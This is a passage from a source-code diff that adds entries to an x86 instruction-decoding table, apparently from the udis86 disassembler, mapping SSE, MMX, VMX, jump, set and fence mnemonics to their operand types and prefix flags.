O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0289 */ { UD_Ircpps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0290 */ { UD_Ircpss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0291 */ { UD_Iandps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0292 */ { UD_Iandpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0293 */ { UD_Iandnps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0294 */ { UD_Iandnpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0295 */ { UD_Iorps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0296 */ { UD_Iorpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0297 */ { UD_Ixorps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0298 */ { UD_Ixorpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0299 */ { UD_Iaddps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0300 */ { UD_Iaddsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0301 */ { UD_Iaddss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0302 */ { UD_Iaddpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0303 */ { UD_Imulps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0304 */ { UD_Imulsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0305 */ { UD_Imulss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0306 */ { UD_Imulpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0307 */ { UD_Icvtps2pd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0308 */ { UD_Icvtsd2ss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0309 */ { UD_Icvtss2sd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0310 */ { UD_Icvtpd2ps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0311 */ { UD_Icvtdq2ps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0312 */ { UD_Icvttps2dq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0313 */ { UD_Icvtps2dq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0314 */ { UD_Isubps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0315 */ { UD_Isubsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0316 */ { UD_Isubss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0317 */ { UD_Isubpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0318 */ { UD_Iminps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0319 */ { UD_Iminsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0320 */ { UD_Iminss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0321 */ { UD_Iminpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0322 */ { UD_Idivps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0323 */ { UD_Idivsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0324 */ { UD_Idivss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0325 */ { UD_Idivpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0326 */ { UD_Imaxps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0327 */ { UD_Imaxsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0328 */ { UD_Imaxss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0329 */ { UD_Imaxpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0330 */ { UD_Ipunpcklbw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0331 */ { UD_Ipunpcklbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0332 */ { UD_Ipunpcklwd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0333 */ { UD_Ipunpcklwd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0334 */ { UD_Ipunpckldq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0335 */ { UD_Ipunpckldq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0336 */ { UD_Ipacksswb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0337 */ { UD_Ipacksswb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0338 */ { UD_Ipcmpgtb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0339 */ { UD_Ipcmpgtb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0340 */ { UD_Ipcmpgtw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0341 */ { UD_Ipcmpgtw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0342 */ { UD_Ipcmpgtd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0343 */ { UD_Ipcmpgtd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0344 */ { UD_Ipackuswb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0345 */ { UD_Ipackuswb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0346 */ { UD_Ipunpckhbw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0347 */ { UD_Ipunpckhbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0348 */ { UD_Ipunpckhwd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0349 */ { UD_Ipunpckhwd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0350 */ { UD_Ipunpckhdq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0351 */ { UD_Ipunpckhdq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0352 */ { UD_Ipackssdw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0353 */ { UD_Ipackssdw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0354 */ { UD_Ipunpcklqdq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0355 */ { UD_Ipunpckhqdq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0356 */ { UD_Imovd, O_P, O_Ey, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0357 */ { UD_Imovd, O_V, O_Ey, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0358 */ { UD_Imovq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0359 */ { UD_Imovdqu, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0360 */ { UD_Imovdqa, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0361 */ { UD_Ipshufw, O_P, O_Q, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0362 */ { UD_Ipshuflw, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0363 */ { UD_Ipshufhw, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0364 */ { UD_Ipshufd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0365 */ { UD_Ipsrlw, O_N, O_Ib, O_NONE, P_none }, + /* 0366 */ { UD_Ipsrlw, O_U, O_Ib, O_NONE, P_rexb }, + /* 0367 */ { UD_Ipsraw, O_N, O_Ib, O_NONE, P_none }, + /* 0368 */ { UD_Ipsraw, O_U, O_Ib, O_NONE, P_rexb }, + /* 0369 */ { UD_Ipsllw, O_N, O_Ib, O_NONE, P_none }, + /* 0370 */ { UD_Ipsllw, O_U, O_Ib, O_NONE, P_rexb }, + /* 0371 */ { UD_Ipsrld, O_N, O_Ib, O_NONE, P_none }, + /* 0372 */ { UD_Ipsrld, O_U, O_Ib, O_NONE, P_rexb }, + /* 0373 */ { UD_Ipsrad, O_N, O_Ib, O_NONE, P_none }, + /* 0374 */ { UD_Ipsrad, O_U, O_Ib, O_NONE, P_rexb }, + /* 0375 */ { UD_Ipslld, O_N, O_Ib, O_NONE, P_none }, + /* 0376 */ { UD_Ipslld, O_U, O_Ib, O_NONE, P_rexb }, + /* 0377 */ { UD_Ipsrlq, O_N, O_Ib, O_NONE, P_none }, + /* 0378 */ { UD_Ipsrlq, O_U, O_Ib, O_NONE, P_rexb }, + /* 0379 */ { UD_Ipsrldq, O_U, O_Ib, O_NONE, P_rexb }, + /* 0380 */ { UD_Ipsllq, O_N, O_Ib, O_NONE, P_none }, + /* 0381 */ { UD_Ipsllq, O_U, O_Ib, O_NONE, P_rexb }, + /* 0382 */ { UD_Ipslldq, O_U, O_Ib, O_NONE, P_rexb }, + /* 0383 */ { UD_Ipcmpeqb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0384 */ { UD_Ipcmpeqb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0385 */ { UD_Ipcmpeqw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0386 */ { UD_Ipcmpeqw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0387 */ { UD_Ipcmpeqd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0388 */ { UD_Ipcmpeqd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0389 */ { UD_Iemms, O_NONE, O_NONE, O_NONE, P_none }, + /* 0390 */ { UD_Ivmread, O_Ey, O_Gy, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 0391 */ { UD_Ivmwrite, O_Gy, O_Ey, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 0392 */ { UD_Ihaddps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0393 */ { UD_Ihaddpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0394 */ { UD_Ihsubps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0395 */ { UD_Ihsubpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0396 */ { UD_Imovd, O_Ey, O_P, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0397 */ { UD_Imovq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0398 */ { UD_Imovd, O_Ey, O_V, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0399 */ { UD_Imovq, O_Q, O_P, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0400 */ { UD_Imovdqu, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0401 */ { UD_Imovdqa, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0402 */ { UD_Ijo, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0403 */ { UD_Ijno, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0404 */ { UD_Ijb, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0405 */ { UD_Ijae, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0406 */ { UD_Ijz, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0407 */ { UD_Ijnz, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0408 */ { UD_Ijbe, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0409 */ { UD_Ija, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0410 */ { UD_Ijs, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0411 */ { UD_Ijns, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0412 */ { UD_Ijp, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0413 */ { UD_Ijnp, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0414 */ { UD_Ijl, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0415 */ { UD_Ijge, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0416 */ { UD_Ijle, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0417 */ { UD_Ijg, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0418 */ { UD_Iseto, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0419 */ { UD_Isetno, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0420 */ { UD_Isetb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0421 */ { UD_Isetae, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0422 */ { UD_Isetz, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0423 */ { UD_Isetnz, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0424 */ { UD_Isetbe, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0425 */ { UD_Iseta, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0426 */ { UD_Isets, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0427 */ { UD_Isetns, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0428 */ { UD_Isetp, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0429 */ { UD_Isetnp, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0430 */ { UD_Isetl, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0431 */ { UD_Isetge, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0432 */ { UD_Isetle, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0433 */ { UD_Isetg, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0434 */ { UD_Ipush, O_FS, O_NONE, O_NONE, P_none }, + /* 0435 */ { UD_Ipop, O_FS, O_NONE, O_NONE, P_none }, + /* 0436 */ { UD_Icpuid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0437 */ { UD_Ibt, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0438 */ { UD_Ishld, O_Ev, O_Gv, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0439 */ { UD_Ishld, O_Ev, O_Gv, O_CL, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0440 */ { UD_Imontmul, O_NONE, O_NONE, O_NONE, P_none }, + /* 0441 */ { UD_Ixsha1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0442 */ { UD_Ixsha256, O_NONE, O_NONE, O_NONE, P_none }, + /* 0443 */ { UD_Ixstore, O_NONE, O_NONE, O_NONE, P_none }, + /* 0444 */ { UD_Ixcryptecb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0445 */ { UD_Ixcryptcbc, O_NONE, O_NONE, O_NONE, P_none }, + /* 0446 */ { UD_Ixcryptctr, O_NONE, O_NONE, O_NONE, P_none }, + /* 0447 */ { UD_Ixcryptcfb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0448 */ { UD_Ixcryptofb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0449 */ { UD_Ipush, O_GS, O_NONE, O_NONE, P_none }, + /* 0450 */ { UD_Ipop, O_GS, O_NONE, O_NONE, P_none }, + /* 0451 */ { UD_Irsm, O_NONE, O_NONE, O_NONE, P_none }, + /* 0452 */ { UD_Ibts, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0453 */ { UD_Ishrd, O_Ev, O_Gv, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0454 */ { UD_Ishrd, O_Ev, O_Gv, O_CL, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0455 */ { UD_Ifxsave, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0456 */ { UD_Ifxrstor, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0457 */ { UD_Ildmxcsr, O_Md, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0458 */ { UD_Istmxcsr, O_Md, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0459 */ { UD_Ixsave, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0460 */ { UD_Ixrstor, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0461 */ { UD_Iclflush, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0462 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0463 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0464 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0465 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0466 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0467 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0468 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0469 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0470 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0471 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0472 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0473 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0474 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0475 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0476 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0477 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0478 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0479 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0480 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0481 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0482 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0483 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0484 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0485 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 0486 */ { UD_Iimul, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0487 */ { UD_Icmpxchg, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0488 */ { UD_Icmpxchg, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0489 */ { UD_Ilss, O_Gv, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0490 */ { UD_Ibtr, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0491 */ { UD_Ilfs, O_Gz, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0492 */ { UD_Ilgs, O_Gz, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0493 */ { UD_Imovzx, O_Gv, O_Eb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0494 */ { UD_Imovzx, O_Gy, O_Ew, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0495 */ { UD_Ipopcnt, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0496 */ { UD_Ibt, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0497 */ { UD_Ibts, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0498 */ { UD_Ibtr, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0499 */ { UD_Ibtc, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0500 */ { UD_Ibtc, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0501 */ { UD_Ibsf, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0502 */ { UD_Ibsr, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0503 */ { UD_Imovsx, O_Gv, O_Eb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0504 */ { UD_Imovsx, O_Gy, O_Ew, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0505 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb }, + /* 0506 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0507 */ { UD_Icmpps, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0508 */ { UD_Icmpsd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0509 */ { UD_Icmpss, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0510 */ { UD_Icmppd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0511 */ { UD_Imovnti, O_M, O_Gy, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0512 */ { UD_Ipinsrw, O_P, O_MwRy, O_Ib, P_aso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 0513 */ { UD_Ipinsrw, O_V, O_MwRy, O_Ib, P_aso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 0514 */ { UD_Ipextrw, O_Gd, O_N, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0515 */ { UD_Ipextrw, O_Gd, O_U, O_Ib, P_aso|P_rexr|P_rexb }, + /* 0516 */ { UD_Ishufps, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0517 */ { UD_Ishufpd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0518 */ { UD_Icmpxchg8b, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0519 */ { UD_Icmpxchg8b, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0520 */ { UD_Icmpxchg16b, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0521 */ { UD_Ivmptrld, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0522 */ { UD_Ivmxon, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0523 */ { UD_Ivmclear, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0524 */ { UD_Ivmptrst, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0525 */ { UD_Ibswap, O_R0y, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0526 */ { UD_Ibswap, O_R1y, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0527 */ { UD_Ibswap, O_R2y, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0528 */ { UD_Ibswap, O_R3y, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0529 */ { UD_Ibswap, O_R4y, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0530 */ { UD_Ibswap, O_R5y, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0531 */ { UD_Ibswap, O_R6y, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0532 */ { UD_Ibswap, O_R7y, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0533 */ { UD_Iaddsubps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0534 */ { UD_Iaddsubpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0535 */ { UD_Ipsrlw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0536 */ { UD_Ipsrlw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0537 */ { UD_Ipsrld, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0538 */ { UD_Ipsrld, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0539 */ { UD_Ipsrlq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0540 */ { UD_Ipsrlq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0541 */ { UD_Ipaddq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0542 */ { UD_Ipaddq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0543 */ { UD_Ipmullw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0544 */ { UD_Ipmullw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0545 */ { UD_Imovdq2q, O_P, O_U, O_NONE, P_aso|P_rexb }, + /* 0546 */ { UD_Imovq2dq, O_V, O_N, O_NONE, P_aso|P_rexr }, + /* 0547 */ { UD_Imovq, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0548 */ { UD_Ipmovmskb, O_Gd, O_N, O_NONE, P_oso|P_rexr|P_rexb }, + /* 0549 */ { UD_Ipmovmskb, O_Gd, O_U, O_NONE, P_rexr|P_rexb }, + /* 0550 */ { UD_Ipsubusb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0551 */ { UD_Ipsubusb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0552 */ { UD_Ipsubusw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0553 */ { UD_Ipsubusw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0554 */ { UD_Ipminub, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0555 */ { UD_Ipminub, O_V, 